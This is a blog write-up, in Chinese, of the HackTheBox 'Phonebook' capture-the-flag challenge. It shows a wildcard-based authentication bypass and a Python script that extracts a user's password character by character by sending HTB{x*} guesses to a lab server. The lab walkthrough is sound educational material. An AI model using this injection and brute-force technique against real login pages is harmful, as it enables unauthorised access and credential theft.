• HACKTHEBOX——Phonebook


    按照上文,templated是与模板有关,那这个不会和电话簿有关吧

    照例,先访问web看看怎么回事,一个登陆界面

    先简单试了试sql注入,发现未成功,网站提示认证失败,扫描发现有xss,执行了也确实弹了框,但是感觉并没有什么用

    根据页面的提示,不妨猜测这个有可能是一个用户名,或许可以尝试暴力破解

    但是我们失败了,尝试扫描目录,看看有没有其他收获,但是也失败了,看了还得从这个登录表单入手,后来发现在密码中填入*,回报产生变化

    回到页面。发现确实跳转到了另一个页面

    在搜索框中可以搜索一些信息

    发现搜索什么都会有结果,但是尝试搜索flag或HTB时却没有结果,这个时候确实不知道该做什么了,看了一下别人的,发现原来flag就是Reese的密码

    因为flag的结构为

    利用通配符,在秘密正确时,就像刚才那样直接就会登录

    而密码错误时,则提示认证失败,其url为

    因此可以一步一步的破解出最终的密码,依次执行HTB{a*}、HTB{b*}······HTB{z*}、HTB{A*}、HTB{B*}······HTB{Z*}、HTB{0*}、HTB{1*}······HTB{9*},按照回包信息最终确定这个字母是什么,再去确定下一个字母

    那么可以写一个python脚本逐一去暴力破解出密码,可以用返回的url来判断是否是正确的

    1. import requests
    2. import time
    3. headers = {"UserAgent" : "Mozilla/4.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36"}
    4. url = "http://104.248.172.48:32162/login"
    5. #生成包含大小写字母,数字,符号的列表
    6. charList = [chr(i) for i in range(48,91)]
    7. charList = charList + [chr(i) for i in range(97,123)]
    8. start = 0
    9. flag = "HTB{"
    10. while 1:
    11. for char in charList:
    12. password = flag + charList[start] + "*}"
    13. #向服务器发起请求
    14. data = {"username" : "Reese", "password" : password}
    15. response = requests.post(url,headers=headers,data=data)
    16. #打印执行过程与结果
    17. print(password+":"+response.url)
    18. #延时3秒
    19. time.sleep(3)
    20. #判断结果并打印
    21. if response.url == "http://104.248.172.48:32162/login?message=Authentication%20failed":
    22. start += 1
    23. else:
    24. print(password)
    25. flag = flag + charList[start]
    26. start = 0
    27. break

    结果

    等待结果的过程可能非常漫长。。。。。。

     

  • 相关阅读:
    电脑一直蓝屏怎么办?重装系统方法
    腾讯地图撒点并默认显示点位信息
    Web3还没实现,Web5乍然惊现!
    Verilog刷题[hdlbits] :Always nolatches
    骑砍2霸主MOD开发(6)-使用C#-Harmony修改本体游戏逻辑
    SQL数据分析极简入门——SQL简介与基础知识
    深入理解mmap--内核代码分析及驱动demo示例
    猫罐头怎么选择?市面上最受欢迎的5款猫罐头推荐!
    react native中如何使用webView调用腾讯地图选点组件
    Java中的IO操作
  • 原文地址:https://blog.csdn.net/weixin_45557138/article/details/125472956